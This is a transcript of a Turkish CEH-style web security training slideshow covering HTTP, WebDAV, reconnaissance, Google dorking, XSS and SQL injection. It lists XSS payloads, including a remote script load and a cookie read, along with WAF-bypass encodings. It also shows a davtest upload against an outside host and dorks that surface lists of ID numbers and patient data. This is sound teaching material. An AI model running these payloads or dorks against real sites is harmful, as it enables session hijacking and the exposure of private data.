Successfully reported this slideshow.
We use your LinkedIn profile and activity data to personalize ads and to show you more relevant ads. You can change your ad preferences anytime.

Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 10, 11, 12

21,007 views

Published on

Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 10, 11 ve 12 @BGASecurity

Published in: Education

Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 10, 11, 12

  1. 1. @BGASecurity BEYAZ ŞAPKALI HACKER EĞİTİMİ BÖLÜMLER X – XI – XII - 2014-
  2. 2. @BGASecurity BGA Bilgi Güvenliği A.Ş BGA Security Hakkında Siber güvenlik dünyasına yönelik, yenilikçi profesyonel çözümleri ile katkıda bulunmak amacı ile 2008 yılında kurulan BGA Bilgi Güvenliği A.Ş. stratejik siber güvenlik danışmanlığı ve güvenlik eğitimleri konularında büyük ölçekli çok sayıda kuruma hizmet vermektedir. Gerçekleştirdiği vizyoner danışmanlık projeleri ve nitelikli eğitimleri ile sektörde saygın bir yer kazanan BGA Bilgi Güvenliği, kurulduğu günden bugüne kadar alanında lider finans, enerji, telekom ve kamu kuruluşları ile 1.000'den fazla eğitim ve danışmanlık projelerine imza atmıştır. ARGE EĞİTİM MSSP PENTEST SOME / SOC SECOPS BGA | Hakkında
  3. 3. @BGASecurity Web Uygulamalarında Güvenlik BÖLÜM - X
  4. 4. BGA | CEH @BGASecurity Bölüm Amacı  Web uygulamalarının çalışma mantığı ve güvenlik açısından incelenmesi  Web uygulamalarına “hacker” bakışı  Web uygulamalarına yönelik basit ama etkili saldırı tekniklerini öğrenme  Detay web uygulama güvenliği için:  Web Application Pentest Eğitimi
  5. 5. BGA | CEH @BGASecurity Bölüm İçeriği  Web uygulamaları ve HTTP  Web uygulamaları güvenliği  Web uygulama testlerinde bilgi toplama  İstemci tarafı kontrollerin aşılması  OWASP Top 10 güvenlik açıklığı  SQLi, XSS, CSRF, ForcefulBrowsing, LFI/RFI ...  Web uygulama güvenlik test araçları  Web sunuculara yönelik DOS saldırıları  WAF/IPS ve atlatma teknikleri
  6. 6. BGA | CEH @BGASecurity Web Uygulamaları  WEB uygulamaları günümüzü ve geleceğimizi kuşatmış durumda:  Müzik dinleme:last.fm, fizy.org  Ofis Belgeleri için:Google Docs  Resim işleme amaçlı:Google Picasa, flickr  (A)Sosyal Hayat: Facebook, Friendfeed, twitter  Alışveriş, Para işleri:Paypal.com, online alışveriş siteleri  İletişim:E-posta->Webmail hizmetleri  Yakın gelecekte web tabanlı işletim sistemleri kullanılmaya başlanacak.
  7. 7. BGA | CEH @BGASecurity Web Uygulama Bileşenleri  Statik sayfalar  HTML  Dinamik sayfalar  CGI, ASP, PHP, Perl, Asp.net, JSP  Veritabanı  Mysql, MsSQL, Oracle, Sybase  Web servisleri  Kullanıcı browserları Web uygulamalarında çıkan açıklar sadece uygulamayı değil bağlı bulunduğu ekosistemi de etkiler.
  8. 8. BGA | CEH @BGASecurity Web Uygulama Güvenliğinin Önemi
  9. 9. BGA | CEH @BGASecurity Web Uygulamalarının Güvensizliği  Web uygulamalarında amaç herkese hizmet verebilmektir  Uygulama geliştirme için bir standart henüz yerleşmediği için yazılımı geliştirenler kolay hata yapabilir  Web uygulamalarında yapılan hatalar daha fazla dikkat çeker ve saldırıya açıktır  Birilerinin sizi takip etmesine gerek yok  Google üzerinden aramalarla sayfalarınız hacklenebilir
  10. 10. BGA | CEH @BGASecurity Web Uygulamalarının Güvensizliği-II  Koruma amaçlı geliştirilen yazılımlar stabil değil  Fazla müdahele ister(WAF sistemleri)  Geliştirme aşamalarında güvenlik önemsenmiyor  Kalite ve güvenlin en sonda gelir, öncelikli iş kısa sürede işlevsel bir uygulamanın ortaya çıkması.
  11. 11. BGA | CEH @BGASecurity Kavramlar: Defacement Defacement=web sayfasının giriş sayfasının değiştirilmesi
  12. 12. BGA | CEH @BGASecurity Defacement Arşivi: Zone-H Birincilik Türk’lerde...
  13. 13. BGA | CEH @BGASecurity Kavramlar: Hacking  Web uygulamaları kullanılarak veri çalma, sistemlere sızma şekli  Daha fazla bilgi ve beceri ister  Sadece web güvenliği değil, Linux/Windows bilgisine de ihtiyaç vardır  Sonuçları daha maliyetli olur Kevinmitnick.com
  14. 14. BGA | CEH @BGASecurity Kavramlar: Root’lama(Rooting)  Web sunucudaki bri açıklıktan faydalanarak, Linux sistemlerde root olma  Linux kernelindeki local privilege esc. Exploitleri kullanılır
  15. 15. BGA | CEH @BGASecurity Web Sitelerinin Güvenlik Bileşenleri
  16. 16. BGA | CEH @BGASecurity WEB Protokolü: HTTP  HTTP(Hypertext Transfer Protocol, OSI modelinde uygulama katmanında yer alan iletişim protokolüdür.  Günümüzde zamanımızın çoğunu geçirdiğimiz, sanal dünyada en sık kullanılan protokoldür. (%96 civarında)
  17. 17. BGA | CEH @BGASecurity HTTP Nasıl Çalışır?  Http’nin istemci-sunucu mantığıyla çalışan basit bir yapısı vardır:  Önce TCP bağlantısı açılır  kullanıcı istek(HTTP isteği) gönderir  sunucu da buna uygun cevap döner  TCP bağlantısı kapatılır.  İstemci tarafından gönderilen istekler birbirinden bağımsızdır ve normalde her HTTP isteği için bir TCP bağlantısı gerekir.
  18. 18. BGA | CEH @BGASecurity Http Başlık Bilgileri  HTTP’de bağlantıyı yöneten başlık bilgileri ve bağlantının taşıdığı veri kısmı vardır  HTTP başlık bilgisi istek ve cevaplarda farklı olabilir  Host , User-Agent , Cookie , X-Forwarded-For , özel başlık bilgiler vs. gibi başlık bilgileri testler esnasında incelenmesi gereken girdi noktalarıdır.
  19. 19. BGA | CEH @BGASecurity X-Forwarded-For Başlık Bilgisi  HTTP üzerinden IP Spoofing(!)  Bu başlık bilgisine göre izinli sistemlerin atlatılabilmesine olanak verecektir.  Uygulamalarda IP kısıtlama özelliğinin atlatılabilmesi.
  20. 20. BGA | CEH @BGASecurity Referrer Başlık Bilgisi  Bir linke hangi linkten gelindiğini belirten HTTP başlığı  İstemci tarafından kontrol edilebildiği için güvensizdir, değiştirilebilir
  21. 21. BGA | CEH @BGASecurity HTTP Metodları  Web uygulamalarında, istemci sunucu arasında istek - cevap şeklinde bir iletişim gerçekleştir.  Http metodları sunucu tarafına yapılan isteğin amacını belirler:  Sık kullanılan istek türleri:  GET  POST  HEAD  OPTIONS  TRACE  PUT  DELETE  CONNECT  Bu istek türlerinin bir kısmı tehlikeli kullanıma sahiptir
  22. 22. BGA | CEH @BGASecurity HTTP GET İstek Tipi  Hedef siteden ilgili dosyayı indirme/izleme amaçlı kullanılır.  GET kullanılarak yapılan istekler sunucu loglarında gözükecektir.  Browser tarafından önbelleğe alındığı için kullanıcı adı parola gibi hassas bilgiler GET istekleri ile gönderilmemeli  En fazla 7607 karekter olabilmektedir.
  23. 23. BGA | CEH @BGASecurity HTTP POST İstek tipi  Taşıdığı parametreler web tarayıcıların geçmiş kısmında kaydedilmez.  En fazla 8Mb olabilmektedir (değiştirilebilir)  Sunucu loglarında gözükmez  Modsecurity gibi bileşenlerle görülebilir
  24. 24. BGA | CEH @BGASecurity HTTP PUT İstek Tipi  Hedef sisteme FTP benzeri dosya yüklemek için kullanılan metod.  Genellikle tehlikeli bir metod olduğu için açık olmaz.
  25. 25. BGA | CEH @BGASecurity WebDAV  WebDAV (Web-based Distributed Authoring and Versioning )  Web üzerinden HTTP kullanılarak gerçekleştirilen dosya yönetim standardıdır.  HTTP 1.1 protokolüne bazı eklentiler ile web dizinlerini yazılabilir hale getirir.  Versiyon bilgilerini tutar.  Paylaşımda bulunanlar için not v.s tutma imkanı sağlar. 25
  26. 26. BGA | CEH @BGASecurity WebDAV Denetimi  HTTP kullanılarak Internet üzerinden gerçekleştirilen dosya yönetim standardıdır.  HTTP standardının belirlediği metotlara ek olarak;  PROPFIND, PROPPATCH  LOCK  MOVE, COPY  ...
  27. 27. BGA | CEH @BGASecurity WebDAV Denetimi Sunucu üzerindeki dizinler WebDAV desteği için kontrol edilmelidir. OPTIONS /webdav/ HTTP/1.0 HTTP/1.1 200 OK Date: Fri, 12 Mar 2010 09:21:23 GMT DAV: 1,2 DAV: <http://apache.org/dav/propset/fs/1> Allow:OPTIONS,GET,POST,DELETE,PROPFIND,PROPPATCH Content-Length: 0
  28. 28. BGA | CEH @BGASecurity WebDAV – Apache Yapılandırma <Directory /var/www/webdav> Options Indexes MultiViews Order allow,deny allow from all </Directory> Alias /webdav /var/www/webdav <Location /webdav> DAV On </Location>
  29. 29. BGA | CEH @BGASecurity WebDAV – Apache Örnek PROPFIND /webdav/ HTTP/1.0 Depth: 1 HTTP/1.1 207 Multi-Status Date: Wed, 30 Jan 2013 08:33:33 GMT Server: Apache/2.2.9 (Ubuntu) DAV/2 PHP/5.2.6- 2ubuntu4.5 Content-Type: text/xml; charset="utf-8" <?xml version="1.0" encoding="utf-8"?> <D:href>/webdav/</D:href> <D:href>/webdav/pass.txt</D:href> <D:href>/webdav/index.php</D:href> ...
  30. 30. BGA | CEH @BGASecurity Cadaver Webdav İstismar Aracı  Unix için komut satırı WebDAV istemcisidir. # cadaver http://localhost/webdav/ dav:/webdav/> pwd dav:/webdav/> ls index.php 0 Mar 12 2010 pass.txt 7 Mar 12 2010 dav:/webdav/> cat pass.txt secret dav:/webdav/>
  31. 31. BGA | CEH @BGASecurity DavTest  DavTest, WebDAV açık hedefler üzerinde denetimler gerçekleştirir;  PHP, ASP, JSP, CGI, TXT, ASPX v.b. dosya tiplerinin upload edilebilmesi,  PHP, ASP, JSP, CGI, TXT, ASPX v.b. dosya tiplerine ait backdoor’ların upload edilip denenmesi,  Dosyaların zararsız formatta upload edilerek, sonra MOVE ile zararlı uzantılara çevrilmesi
  32. 32. BGA | CEH @BGASecurity DavTest Örnek Kullanım # ./davtest.pl -url http://localhost/webdav ./davtest.pl Summary: Created: http://localhost/webdav/t PUT File: http://localhost/webdav/t/7ks.php PUT File: http://localhost/webdav/t/7ks.asp Executes: http://localhost/webdav/t/7ks.php Executes: http://localhost/webdav/t/7ks.html Executes: http://localhost/webdav/t/7ks.txt
  33. 33. BGA | CEH @BGASecurity GHDB üzerinden Webdav Keşfi/İstismarı  intitle:"Directory Listing For /" + inurl:webdav tomcat  intitle:”index of" + inurl:webdav  ./davtest.pl -url http://etc.tctc.edu:8008/webdav/ Testing DAV connection OPEN SUCCEED: http://etc.tctc.edu:8008/webdav
  34. 34. @BGASecurity Web Uygulamalarında Keşif Çalışmaları BÖLÜM – XI
  35. 35. BGA | CEH @BGASecurity Web Sunucu Keşfi  Amaç:Web sunucu ve üzerinde çalışan uygulamalar hakkında bilgi toplama  Web sunucu/uygulama yazılımlarındaki açıklıkların bilinmesi exploitation aşamasında yardımcı olur  IIS 6’da çıkan açıklık, PHp 4.x sürümlerindeki açıklıklar  Hangi işletim sistemi, hangi sürümü, hangi web sunucusu yazılımı, hangi modüllerin kurulu olduğu vs bilgileri güvenlik testleri öncesi bulunmalıdır  Sık kullanılan web sunucu keşif yazılımları  Httprint, nmap –sV –p 80, Netcraft
  36. 36. BGA | CEH @BGASecurity Web Uygulama Sunucu Keşif Araçları Netcraft.com Nmap –sV bgabank.com –p 80 httprint
  37. 37. BGA | CEH @BGASecurity Web Uygulama Sürüm ve Eklenti Belirleme http://www.morningstarsecurity.com/research/whatweb
  38. 38. BGA | CEH @BGASecurity Hata Mesajlarından Bilgi Toplama  Web sayfalarının vereceği hata mesajlarından hangi uygulamaların kurulduğu, hangi dizinlerin kullanıldığı, hangi işletim sistemine sahip olduğu gibi bilgiler alınabilir  Web sunucu hataları(Apache, IIS)  Uygulama sunucu hataları(php, asp)  Bazı durumlarda hatalı yapılandırma nedeniyle veritabanı bağlantı bilgileri de elde edilebilir.  Web sunucu haricinde kurulu olan uygulamaya beklenmeyen türde istekler göndererek hata durumları gözlemlenmelidir.  Apache ve IIS gibi yoğun tercih edilen web sunucuları hata mesajlarını göstermeme özelliğine sahiptir.
  39. 39. BGA | CEH @BGASecurity Trace.axd Üzerinden Oturum Alma – I  Google üzerinden trace.axd bulmak için filetype:axd inurl:Trace.axd?id=0
  40. 40. BGA | CEH @BGASecurity Trace.axd Üzerinden Oturum Alma – II Elde edilen session_id değeri cookie manager ile browsera import edilerek sistem üzerinde admin oturumu elde edilmiştir.
  41. 41. BGA | CEH @BGASecurity Trace.axd Üzerinden Oturum Alma – III Session_Id değeri import edildikten sonra admin panele erişilmiştir.
  42. 42. BGA | CEH @BGASecurity Elmah.axd Üzerinden Oturum Alma  site:fr filetype:axd elmah.axd
  43. 43. BGA | CEH @BGASecurity Robots.txt ile Hassas Dizin/Dosya Keşfi Robots.txt üzerinden google tarafından indexlenmesi istenmeyen dizinler girilir. Bu dosyaya erişilmesi durumunda hassas dizinler tespit edilebilir.
  44. 44. BGA | CEH @BGASecurity Google Hacking  Google denetimler için bilgi toplama için kullanılan en popüler arama motorudur.  Google’ın sağladığı ileri seviye arama yöntemleri kullanılarak yapılan güvenlik aktivitelerine ise Google Hacking denmektedir.
  45. 45. BGA | CEH @BGASecurity Google Arama Anahtar Kelimeleri domain name daraltması dosya tipi daraltması
  46. 46. BGA | CEH @BGASecurity Google Zafiyet Arama - Örnek  Açık phpmyadmin MYSQL yönetim arabirimleri  Açık PhpNuke portal yönetim arabirimleri intitle:phpMyAdmin "Welcome to phpMyAdmin" "running on * as root@*" inurl:admin.php "There are no Administrators"
  47. 47. BGA | CEH @BGASecurity Google Zafiyet Arama - Örnek Cisco VPN Hesap Dosyaları 1 2 3 4
  48. 48. BGA | CEH @BGASecurity Google Bilgi Toplama - Örnek Hassas bilgiler toplamak için Google anahtar kelimeleri kullanılabilir; filetype:xls filetype:pdf tc kimlik no “üye listesi” filetype:pdf cep no “hasta listesi”
  49. 49. BGA | CEH @BGASecurity Alt Dizin / Dosya Keşfi  Hedef sistem üzerinde unutulmuş, gereksiz olarak bırakılmış ya da eksik/yanlış yapılandırma sonucu kalmış dosya/dizinleri bulma  Yüzlerce istek gönderip istekler için 302, 200 cevapları dönüyorsa dizin/dosya var demektir.  Özellikle yönetim sayfalarının bulunması için sık kullanılır(/admin, /login.asp, yonet.php vs)  Owasp Dirbuster, AdminFinder araçları
  50. 50. BGA | CEH @BGASecurity DirBuster  Sadece crawl yapılarak bütün girdi noktalarının bulunması mümkün değildir;  gizlenmiş  gösterilmek amacı ile oluşturulmamış dizin/sayfalar sözlük ve kaba kuvvet denemeleri yardımı ile bulunmalıdır.  DirBuster; Multi-thread çalışabilen (hızlı) bir Java desktop uygulamasıdır. Bir web uygulamasında gizlenmiş sayfaları, dizinleri bulmaya çalışır.
  51. 51. BGA | CEH @BGASecurity DirBuster Hedef URL Denenecek dizin/sayfa listesi Denenecek sayfa uzantısı Hem dizinler hem sayfalar denenecek Bulunan dizinlerde de liste denenecek Kullanılacak thread sayısı
  52. 52. BGA | CEH @BGASecurity Wfuzz - Fuzzing  Subdomain tespiti için kullanılabilir  Alt dizin tespiti için kullanılabilir  IDOR istismarı için kullanılabilir.  Teknik LFI,Sqli,XSS benzeri açıklıkların tespitinde kullanılabilir. wfuzz -c --hc 404,XXX -z file,urls.txt -z file,common.txt FUZZ/FUZ2Z wfuzz -c --hc 404,XXX –z range,1-1000 –z http://test.com/index.asp?id=FUZZ
  53. 53. BGA | CEH @BGASecurity Web Güvenlik Testi Araçları  Web uygulama güvenliğinde sık kullanılan araçlar:  Burp suite  Owasp ZAP  Firefox eklentileri (Live http header, tamper data ,firebug)  Sqlmap , nmap , metasploit  Otomatize test araçları (Netsparker,Acunetix,IBM Appscan,W3af vs.)
  54. 54. BGA | CEH @BGASecurity Web Proxy Yazılımları  Web uygulamaları testlerinin vazgeçilmez araçları  Browser üzerinden yapılamayacak istekleri gerçekleştirmek veistemci tarafında yapılan güvenliği(javascript, hidden fields)atlatmak için kullanılır  HTTP başlıklarına ait tüm değerler istenildiği gibi değiştirilebilir  Paros, Burp Proxy, Web Scarab, Firefox HTTP Tamper
  55. 55. BGA | CEH @BGASecurity Firefox TamperData/LiveHeaders  Güvenlik testlerinde firefox eklentileri kullanılabilir.  Firecat (Firefox Extension Framework) incelenebilir. Tamper Data Live Headers
  56. 56. BGA | CEH @BGASecurity Owasp ZAP Client server arasına girerek gelen giden istekleri görebilir, replay edilebilir ve otomatize taramlar gerçekleştirilebilir.
  57. 57. BGA | CEH @BGASecurity Burpsuite Proxy  Owasp zap benzeri bir web proxy aracıdır.  Ticari sürümü de bulunmaktadır.  Alternatiflerine göre daha esnek kullanıma sahiptir
  58. 58. BGA | CEH @BGASecurity FoxyProxy ile proxy ayarları  Birden fazla profil oluşturularak farklı portlar üzerinde web proxy çalıştıma için hızlı bir firefox eklentisi.  Firefox proxyler araı geçiş yaparken her seferinde ayarlar menüsünde işlem yapmaya gerek bıraktırmaz.
  59. 59. BGA | CEH @BGASecurity OWASP Top 10 Açıkları Amacı: OWASP katılımcıları tarafından ilgili zaman dilimindeki en sık karşılaşılan güvenlik açıklıklarının listesi
  60. 60. BGA | CEH @BGASecurity Girdi Denetimi  Uygulama kullanmadan önce bütün güvensiz verilerin doğru bir şekilde denetlenmesidir.  Bir çok saldırı çeşidinin temelinde yetersiz girdi kontrolü vardır;  Cross Site Scripting  SQL Injection  Remote / Local File Inclusion  ...
  61. 61. BGA | CEH @BGASecurity 1. Normalizasyon (Canonicalization)  Bir dizginin en basit, en temel haline çevrilmesidir.  Örnek, aşağıdaki iki yol aynı dosyayı işaret etmektedir; /../../etc/passwd /etc/passwd  Karmaşık ve kritik bir işlemdir.
  62. 62. BGA | CEH @BGASecurity 2. Beyaz Liste Girdi Denetimi  Sadece iyi karakter veya karakter dizgilerinin kabul edilmesidir.  Güvenli ve tavsiye edilen girdi denetimidir.  Örnekler;  Kredi kartı girdi alanının geçerli kredi kartı numarası olup olmadığının kontrolü  Eposta adresi girdi alanının geçerli eposta olup olmadığının kontrolü
  63. 63. BGA | CEH @BGASecurity 3. Kara Liste Girdi Denetimi  Bilinen kötü karakter veya karakter dizgilerinin reddedilmesidir.  Çok kullanılan ama güvensiz girdi denetimidir.  Örnekler;  <script> geçen girdilerin reddedilmesi  or 1=1 -- geçen girdilerin reddedilmesi
  64. 64. BGA | CEH @BGASecurity 4. Temizleme İşlemi (Sanitize)  Girdinin kabul edilebilir bir formata çevrilmesidir.  Beyaz liste mantığı ile sanitize  Örn: Telefon numarası içinde geçen sayı, olmayan karakterlerin silinmesi  Kara liste mantığı ile sanitize  Örn: Adres girdisinin içindeki bütün tek tırnak karakterlerinin silinmesi
  65. 65. BGA | CEH @BGASecurity 5. Encoding İşlemi  Girdi içindeki özel karakterlerin başka bir formata değiştirilmesidir.  Amaç, hedef yorumlayıcı için özel karakterlerin kodlama işlemi sonrası önemlerini yitirmiş olmalarıdır.  Örnek;  HTML kodlama  URL kodlama
  66. 66. BGA | CEH @BGASecurity 6. Escape İşlemi  Yorumlayıcıya gitmeden gerçekleştirilen karakter format değişikliğidir.  Çoğu durumda kodlama ile aynı anlamdadır.  Örnek;  Oracle veritabanında çalışacak SQL sorgularında tek tırnak karakterlerinin iki tek tırnak ile değiştirilmesiyle, sorgu yapısının değiştirilmesi engellenebilir.
  67. 67. BGA | CEH @BGASecurity XSS Nedir? Browser Uygulama
  68. 68. BGA | CEH @BGASecurity Cross Site Scripting - XSS  Html/dhtml/css veya javascript kodunun izinsiz olarak kurbanın tarayıcısında çalıştırılmasıdır.  Üç genel XSS çeşidi mevcuttur;  Reflected  Stored  DOM Based
  69. 69. BGA | CEH @BGASecurity Reflected XSS  Saldırganın gönderdiği XSS payloadu veritabanında tutulmaz.  İstismar edilebilmesi için kurbanın bir linke ziyaret etmesi gerekir. Sosyal mühendislik gerektirir.  Cookie bilgisi ile oturum çalma, kullanıcı browserinda yetkisiz kod çalıştırma vs.  Blacklist/whitelist ve encoding yöntemleri ile engellenebilir.
  70. 70. BGA | CEH @BGASecurity Stored XSS  Saldırganın hedef sunucuya gönderdiği zararlı script doğrudan database kaydedilir. Ve bu kodun yansıtıldığı sayfaları ziyaret eden kullanıcı browserinda bu kod çalşır.  Linkedin üzerinde kullanıcı adı bölümünde XSS olsa (!)  Kaydedilen datanın sayfaya döndürülmesi esnasında herhangi bir decoding yöntemi kullanılmamasından kaynaklanır.  Html encode az da olsa başarılı bir atlatma olabilir.
  71. 71. BGA | CEH @BGASecurity Stored XSS - II  Reflected XSS göre daha tehlikeli ve istismarı kolaydır. Sosyal müh. Yapmaya gerek yok.  Worm tarzında saldırılar (kendisini her ziyaret edeni arkadaş olarak ekleme vs.), zararlı bulaştırma, defacement vs. yapılabilir.
  72. 72. BGA | CEH @BGASecurity Stored XSS - Senaryo
  73. 73. BGA | CEH @BGASecurity DOM Based XSS  Client tarafındaki yanlış yazılmış javascript’lerin sebep olduğu kullanıcı girdisini doğrudan filtrelemeden alıp yorumlayan bölümlerde mevcuttur.  Diğer XSS’lerde hata asp,aspx,php gibi sunucu tarafındaki kodlamadadır, DOM based için bu client tarafındaki javascriptdedir.  Reflected XSS oldukça benzer, istismarı için sosyal müh. Benzeri saldırılar yapmak gerekir.
  74. 74. BGA | CEH @BGASecurity DOM Based XSS - Senaryo
  75. 75. BGA | CEH @BGASecurity XSS - MySpace Worm
  76. 76. BGA | CEH @BGASecurity XSS - MySpace Worm
  77. 77. BGA | CEH @BGASecurity XSS - MySpace Worm
  78. 78. BGA | CEH @BGASecurity XSS - MySpace Worm
  79. 79. BGA | CEH @BGASecurity XSS - Neden Olduğu Problemler  Bilgi Hırsızlığı  Oturum Korsanlığı  Clipboard Veri Çalma, Tuş Yakalama, Ekran Çalma  İçerik Değişikliği (Defacement)  Geçmiş Tarama, Port Tarama  Dahili IP Çalma, Web Spidering, XSS Botnet  Açıklık Tarama, Worm
  80. 80. BGA | CEH @BGASecurity XSS - Temel Test Tekniği - Analiz 1. XSS için denetlenecek parametre belirlenir 2. Bu parametreye abcde gibi basit bir değer verilerek istek yapılır 3. Cevap içerisinde abcde nerelerde geçiyor hesaplanır.  HTML  HTML Attribute  Javascript  URL
  81. 81. BGA | CEH @BGASecurity XSS - Temel Test Tekniği - Test 1. Analiz sonucu parametre değeri olarak uygun payload gönderilir 2. Cevabın içinde payload aranır, 3. Bulunduğunda sayfa içinde payload uygun kodlama işleminden geçirilmemiş ise XSS güvenlik zafiyetinden bahsedilir.
  82. 82. BGA | CEH @BGASecurity XSS - Payload 1 - Örnek 1 2
  83. 83. BGA | CEH @BGASecurity Örnek XSS Payloadları  <script src="http://bga.com.tr/zararli.js">  <SCript>alert(1);</SCript>  <scr<script>ipt>alert(1)</scr<script>ipt>  <a href=”http://www.google.com>tıkla</a>  <a href=”javascript:alert(1)”>tıkla</a>  <a href="rhainfosec.com" onmouseover=alert(1)>test</a>
  84. 84. BGA | CEH @BGASecurity Örnek XSS Paylodları - II  <svg/onload=window.onerror=alert;throw/XSS/;//  <iframe src=http://www.bga.com.tr/ width=500 height=600></iframe>  "><body onmouseover=alert(/a3q/) bad=“  " onmouseover=alert(/a3q/) bad=“  "><body onload="alert(document.cookie)”>  "><textarea><ScRiPt>prompt(961307)<ScRiPt></textarea>
  85. 85. BGA | CEH @BGASecurity Owasp Xenotix XSS Test Framework • 1600’a yakın XSS payload’ı bünyesinde barındıran ve bunları elle/otomatik bir şekilde hedef alanlarda (GET/POST) deneme imkanı sunan araç. • Gelişmiş XSS istismar eklentilerine sahiptir.
  86. 86. BGA | CEH @BGASecurity Netsparker/Acunetix XSS Testleri Acunetix ve Netsparker web güvenlik tarama yazılımlarının deneme sürümleri (Netsparker icin Cummunity Edition bulunmaktadır) XSS zafiyetlerini başarılı bir şekilde tespit edebilmektedir.
  87. 87. BGA | CEH @BGASecurity XSS Engelleme  Girdi denetiminde pozitif güvenlik modeli uygulama  Microsoft AntiXSS framework kullanımı  Oturum çerezlerinde http-only özelliğinin aktif edilmesi  HttpOnly olarak işaretlenmiş çerezler, istemci tarafındaki herhangi bir uygulama tarafından erişilemezler. Bu durumda web uygulamasında XSS açığı bulunsa dahi saldırganlar sizin çerez bilgilerinize erişemeyeceklerdir.  Php.ini ‘den session.cookie_httponly=1 XSS Engelleme amaçlı OWASP kaynakları: https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet
  88. 88. BGA | CEH @BGASecurity XSS Payloads  <script src="http://bga.com.tr/zararli.js">  <SCript>alert(1);</SCript>  <scr<script>ipt>alert(1)</scr<script>ipt>  <a href=”http://www.google.com>tıkla</a>  <a href=”javascript:alert(1)”>tıkla</a>  <a href="rhainfosec.com" onmouseover=alert(1)>test</a>
  89. 89. BGA | CEH @BGASecurity XSS Paylods - II  <svg/onload=window.onerror=alert;throw/XSS/;//  <iframe src=http://www.bga.com.tr/ width=500 height=600></iframe>  "><body onmouseover=alert(/a3q/) bad=“  " onmouseover=alert(/a3q/) bad=“  "><body onload="alert(document.cookie)”>  "><textarea><ScRiPt>prompt(961307)<ScRiPt></textarea>
  90. 90. BGA | CEH @BGASecurity XSS için Güvenlik Sistemlerini Atlatma  Script tag’i bloklanmış durumlarda <SCript>alert(1)</SCript> <scscriptript>alert(1)</scscriptript>  Alert tag’I bloklanmış durumlarda <script>prompt(1)</script> <script>alalertert(document.cookie)</script>
  91. 91. BGA | CEH @BGASecurity XSS için Güvenlik Sistemlerini Atlatma  Tag kapatmaya izin vermeyen yerler için. </script> engelliyorsa! <img src=ab onerror=prompt(1)>  < ve > bloklanmış yerlerde “ onmouseover=prompt(1) ab=“ Girdinin aşağıdaki gibi bir alana(html attribute) set ediliyor olması gerekiyor <input type=text value=““ onmouseover=prompt(1) ab=“”>
  92. 92. BGA | CEH @BGASecurity XSS için Güvenlik Sistemlerini Atlatma Tag açma için kullanılan < işaretinin izinli olduğu fakat > işaretine izin verilmeyen yerlerde güvenlik sistemi atlatma <svg/onload=window.onerror=alert;throw/XSS/;//
  93. 93. BGA | CEH @BGASecurity Encoded XSS Paylodları ile Atlatma  Url Encoding ve Html Encoding en sık kullanılan encoding türleridir. Payload: "><script>alert(1)</script> URL Encoded: %22%3E%3Cscript%3Ealert(1)%3C%2Fscript%3E HTML Encoded: &quot;&gt;&lt;script&gt;alert(1)&lt;/script&gt;
  94. 94. BGA | CEH @BGASecurity Double Encoded XSS Payloadları  2 defa URL encode işlemine tabi tutma gibi.  ASP.net uygulamalarda sıklıkla double encode paylodlar iki kere decode edilbilmektedir.(Farklı yerlerde) Payload: "><script>alert(1)</script> Double URL Encoded Payload: %2522%253E%253Cscript%253Ealert(1)%253C%252Fscript %253E
  95. 95. @BGASecurity İstemci Tabanlı Korumaları Aşmak BÖLÜM - XII
  96. 96. BGA | CEH @BGASecurity İstemci Tabanlı Korumaları Aşma
  97. 97. BGA | CEH @BGASecurity İstemci Tabanlı Koruma Politikaları  Kullanıcı sayfaları gezerken bazı formlarda istemci taraflı kontroller yapılabilir  İstemci taraflı kontroller istisnasız değiştirilebilir  Sık karşılaşılan istemci taraflı koruma örnekleri  Javascript ile yapılan koruma deneyimleri ▪ Login ekranlarında karekter/boyut kontrolü  Flash uygulamalarında yapılan kontroller ve korumalar  Kişisel proxyler kullanılarak istemci ile sunucu arasına girerek değerler değiştirilebilir.
  98. 98. BGA | CEH @BGASecurity Hidden/Gizli Form Elemanları  HTML tag!ı  Kullanıcıya göstermeden kod üzerinden bazı işlemleri yapma  Sunucu tarafında hesaplanması gereken değerler hidden alanlarda saklanırsa rahatlıkla değiştirilebilir  Kesinlikle bir değer saklama amaçlı kullanılmamalı!
  99. 99. BGA | CEH @BGASecurity Hidden Form Örnek:Adım1
  100. 100. BGA | CEH @BGASecurity Hidden Form Örnek: Adım 2
  101. 101. BGA | CEH @BGASecurity Javascript Korumalarını Aşma  Javascript tamamen istemci tarafında(browser) çalışır  Javascript kullanılarak yapılacak engellemeler, önlemler kişisel proxyler ve Firefox pluginleri kullanılarak (Tamper Data) değiştirilebilir
  102. 102. BGA | CEH @BGASecurity User-Agent Kontrolünü Aşma EFT Ücreti:2.5TL WAP üzerinden yapılan EFT’lerde ücret alınmıyor. Firefox plugini kullanarak User-Agent mobil cihaz gibi gösterilipWAP sayfasından ücretsiz EFT işlemi yapılabilir Nasıl engellenebilir?
  103. 103. BGA | CEH @BGASecurity SQL Injection Nedir?  SQL Injection;  Saldırganlar için en popüler,  Geliştiriciler için en bilindik,  İş sahipleri için en tehlikeli  Hedef veritabanında uygulama yolu ile yetkisiz olarak sql sorgularının çalıştırılabilmesidir.
  104. 104. BGA | CEH @BGASecurity Gerçek Hayattan SQL Injection Örnekleri
  105. 105. BGA | CEH @BGASecurity SQL Injection Haberleri
  106. 106. BGA | CEH @BGASecurity SQL Injection Kullanarak Neler Yapılabilir?  Hedef uygulamadaki veritabanı kullanıcısının yetkilerine göre aşağıdaki işlemler gerçekleştirilebilir:  İşletim sisteminden dosya okunabilir  İşletim sistemine yeni bir dosya eklenip değiştirilebilir  Veritabanı tablo ve diğer detay bilgiler elde edilebilir  İşletim sisteminde komut çalıştırılabilir  Login panelindeki user/pass doğrulama aşaması atlatılabilir.
  107. 107. BGA | CEH @BGASecurity Temel SQL Bilgisi  SQL Injection zafiyetlerinin %1’i Web, %99’u SQL bilgisi gerektirmektedir.  Açıklığı bulmak ve bulduktan sonra istismar etmek tamamen SQL bilgisi ile doğru orantılıdır.  Birden fazla SQL programında uzman olmak zordur, bunun yerine Sqlmap gibi bu işleri bünyesinde barındıran yazılımlar kullanılabilir.
  108. 108. BGA | CEH @BGASecurity Structured Query Language - SQL  Veritabanı sorgulama ve işlem yapma dilidir.  Üç sorgu sınıfı bulunmaktadır;  DDL, Data Definitin Language ▪ Create, Alter, Drop, Truncate  DML, Data Manipulation Language ▪ Select, Insert, Update, Delete  DCL, Data Control Language ▪ Grant, Revoke
